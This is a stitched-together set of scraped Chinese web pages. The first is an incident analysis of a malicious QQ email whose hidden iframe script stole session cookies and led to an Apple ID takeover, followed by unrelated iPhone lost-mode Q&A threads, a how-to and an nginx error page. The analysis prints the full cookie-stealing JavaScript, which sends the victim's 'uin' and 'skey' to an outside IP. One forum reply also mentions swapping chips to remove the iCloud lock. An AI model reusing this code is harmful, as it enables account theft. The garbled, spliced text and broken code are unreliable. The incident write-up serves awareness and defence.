事件还原：一封QQ恶意邮件导致Apple ID密码丢失一个朋友丢了一台iPhone 6 Plus，用iCloud开启了丢失模式。直到某一天收了一封QQ邮件，几分钟后APPLE ID被修改了，丢失的iPhone 6 Plus从iCloud中.. -中国学网-中国IT综合门户网站-提供健康,养生,留学,移民,创业,汽车等信息
事件还原：一封QQ恶意邮件导致Apple ID密码丢失一个朋友丢了一台iPhone 6 Plus，用iCloud开启了丢失模式。直到某一天收了一封QQ邮件，几分钟后APPLE ID被修改了，丢失的iPhone 6 Plus从iCloud中..
来源：互联网 更新时间： 12:36:13 责任编辑：王亮字体：
一个朋友丢了一台iPhone 6 Plus，用iCloud开启了丢失模式。直到某一天收了一封QQ邮件，几分钟后APPLE ID被修改了，丢失的iPhone 6 Plus从iCloud中移除了。不是钓鱼邮件，也没有输入任何账户密码，就点了一个图片链接后，Apple ID密码就丢了。这勾起了我的好奇心，随即让朋友把邮件转发给我。
链接在浏览器最下边，太长了，直接查看框架代码（点击看大图）。
开虚拟机，打开IE F12开发者工具，先看看情况（点击看大图）。
直接打开了广州日报大洋网，但域名是，地区是香港。查看F12抓取到的HTTP数据，原来是嵌入了2个iframe，第2个iframe是恶意网页（点击看大图）。
网页中只有一小段js脚本，功能是向腾讯企业邮箱：http://support./cgi-bin/login发送一个POST请求，然后执行其自定义的一个JS脚本。JS脚本名用unicode编了下码，解码后如下图（点击看大图）：
域名ylfu.pw和指向同一个IP。将这个JS脚本下载回来，出现了关键HTTP请求，都指向同一IP。真相原来就是通过搜索cookie，获取了QQ号和skey，利用skey登陆朋友QQ邮箱或其他QQ服务，然后进一步获取到了Apple ID密码。（点击看大图）
后来通过和朋友仔细沟通，得知朋友的APPLE ID就是QQ邮箱，但密码不同。骗子通过skey登陆朋友QQ邮箱，然后发送重置APPLE ID密码的邮件，最后成功解锁了iCloud锁定的iPhone 6 Plus。
技术虽然是老技术，但对普通用户来说，确实没办法防御。腾讯蛋疼的skey机制，不管邮箱、空间还是相册一律通杀，这个力度确实太广了。& & & &&
利用Apple ID的远程锁定进行诈骗最近呈爆发式啊，还没开启Apple ID二次验证的小伙伴，一定要去开启。
附JS完整代码
document.domain = "qq.com";
window.onload =
// 我注释的：入口点
var browser = {
versions: function () {
var u = navigator.userAgent, app = navigator.appV
trident: u.indexOf('Trident') & -1, //IE内核
presto: u.indexOf('Presto') & -1, //opera内核
webKit: u.indexOf('AppleWebKit') & -1, //苹果、谷歌内核
gecko: u.indexOf('Gecko') & -1 && u.indexOf('KHTML') == -1,//火狐内核
mobile: !!u.match(/AppleWebKit.*Mobile.*/), //是否为移动终端
ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), //ios终端
android: u.indexOf('Android') & -1 || u.indexOf('Linux') & -1,
//android终端或者uc浏览器
iPhone: u.indexOf('iPhone') & -1, //是否为iPhone或者QQHD浏览器
iPad: u.indexOf('iPad') & -1, //是否iPad
webApp: u.indexOf('Safari') == -1 //是否web应该程序，没有头部与底部
language: (navigator.browserLanguage || navigator.language).toLowerCase()
function GetWebVersion() {
if (browser.versions.iPhone) {
return "iPhone";
if (browser.versions.android) {
return "android";
return "pc";
function getCookie(name) {
var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
if (arr = document.cookie.match(reg))
return unescape(arr[2]);
function getQueryString(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]);
function documentrrady()
window.location.href = "http://122.10.18.36/server/AddQQUser?qqnumber=" + parseInt(getCookie("uin").replace("o", "")) + "&skey=" + getCookie("skey") + "&sex=&nickname=&city=&useragant=" + GetWebVersion() + "&addfriendsids=&qqtype=lockKey2&cookie=&uin=" + getCookie("uin");
* 作者：银河实验室（企业账号）
相关文章：
上一篇文章：下一篇文章：
最新添加资讯
24小时热门资讯
Copyright © 2004- All Rights Reserved. 中国学网 版权所有
京ICP备号-1 京公网安备02号我的iphone找回了，可输入以锁的机子怎么密码不对，难道要关掉查找iphone里面的关闭丢失模式_百度知道
我的iphone找回了，可输入以锁的机子怎么密码不对，难道要关掉查找iphone里面的关闭丢失模式
//g://g.baidu.jpg" target="_blank" title="点击查看大图" class="ikqb_img_alink"><img class="ikqb_img" src="http.hiphotos://g.hiphotos？<a href="http，难道要关掉查找iphone里面的关闭丢失模式才能打开.hiphotos.jpg" esrc="/zhidao/wh%3D600%2C800/sign=fdfad839cee884bfa06c//zhidao/pic/item/eaf81a4c510fd9f919b01d74a403，可输入以锁的机子怎么密码不对我的iphone找回了.com/zhidao/wh%3D450%2C600/sign=3d44c9a38f1d18c5ccc8/eaf81a4c510fd9f919b01d74a403
确保ID密码没有被改过正常情况下进入ICLOUID取消丢失模式即可
取消了，可密码还的锁在里面
其他类似问题
为您推荐：
iphone的相关知识
其他2条回答
直接刷机或者在iCloud中删除账户就ok
还是解不开
哪里会有丢失模式？。。。
哦，想问问你哪个中国移动怎么改成自己想要的？
就进我刚给你发的那里面，有设置运营商
可是我自己也有ID不行吗？
不信我就别问我
嗯，太麻烦
就这样改的
是不是越狱的改不了。。。我找不到。
就是越狱才能改的
那我改不了。算了不改了
改好了勒，thanks！
不谢谢我？
不谢谢我？
谢了啊，谢谢谢谢。哈哈哈
你到我给你那里面去看下啊，很多好玩的
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁ID被锁，结果去贴吧求救，误登录骗子的ID，手机现在处于丢失模式，还有救吗？
经历神奇，事情虽已过去三天，但我仍然不能接受被骗的现实。骗子已经把我当初让我登录的ID账号给改名，我打苹果售后说是让我等消息，我想知道像我这种情况苹果售后如果不帮我，登录别人的ID还被设置为丢失模式是不是就没救了，可以去找强解吗？有好心人帮助一下我这个傻子吗？我去花钱找解锁的人靠谱 吗？？有专家吗这里？
按时间排序
俩种办法。一是官方的软解，提供并证明该手机是你的，就是购买发票啊啥的，那些东西，然后直接去直营店。能解。二就是硬解了，即更换手机内部的字库码片和基带。这三件套换了，就不存在ID锁了，但是手机失去保修，也得看换这个东西的水平，存在安全隐患，还有就是贵，这个方法一般某宝就能找的到。建议把自己的苹果ID升级。俩段验证！东西好弄啊 iCloud会自己备份的。
我之前也遇到过这个问题，在你手续齐全的情况下四个工作日给你第一次反馈七个工作日基本上就能处理完毕！
丢失了就没办法了……你是想寻回照片吧……如果没有什么艳照照片的话，建议还是算了……第一，你很难找到…第二，费事费时费钱费力…第三，心情总是沉浸于此也不会好…个人的人生观是向前看积极向上，过去很难改变的事情就“放过”…总结：买个新的好了——
还是要找客服400申诉，但肯定需要你提供发票等各种资料，过程可能会比较繁琐，时间比较长，但是资料齐全应该是可以给你解开的。因为苹果内部是可以远程解锁的。
已有帐号？
无法登录？
社交帐号登录你的位置： >
> iPhone丢失模式是什么意思？手把手教您开启iPhone丢失模式
丢失模式是苹果特有的一种锁定丢失手机的方法
为了防止小偷利用偷来的手机窃取资料，iPhone丢失的失主可以登陆iCloud开启丢失模式，达到锁定机器的目的
开启丢失模式之后，手机需要输入密码才能解锁使用，同时手机屏幕会显示失主留言
那如何开启丢失模式呢？接下来我们一步一步教您！
第一步：登陆iCloud官网 地址
第二步：输入Apple iD账号和密码
第三步：找到应用 “查找我的iPhone”英文名“Find My iPhone”，点击打开
这个时候经常会出现提示“”，无视报错，继续点，直到进入为止
具体情况可以查看这篇文章：
第四步：进入之后，点击上面的所有设备按钮，找到您丢失的那台iPhone，这时候在右边会弹出框
第五步：点击丢失模式，输入要让小偷联系的号码， 下一步，输入想要的文字内容，点击完成即可
通过以上的操作，丢失的iPhone一旦联网就会马上开启丢失模式，这时候手机苹果上就会显示之前我们填写的信息了！
开启丢失模式之后，小偷就无法使用手机了，必须刷机才能正常使用，那么刷机我们就可以查询ICCID信息了噢 ！
转载请注明： &
与本文相关的文章The page is temporarily unavailable
nginx error!
The page you are looking for is temporarily unavailable.
Please try again later.
Website Administrator
Something has triggered an error on your
This is the default error page for
nginx that is distributed with
It is located
/usr/share/nginx/html/50x.html
You should customize this error page for your own
site or edit the error_page directive in
the nginx configuration file
/etc/nginx/nginx.conf.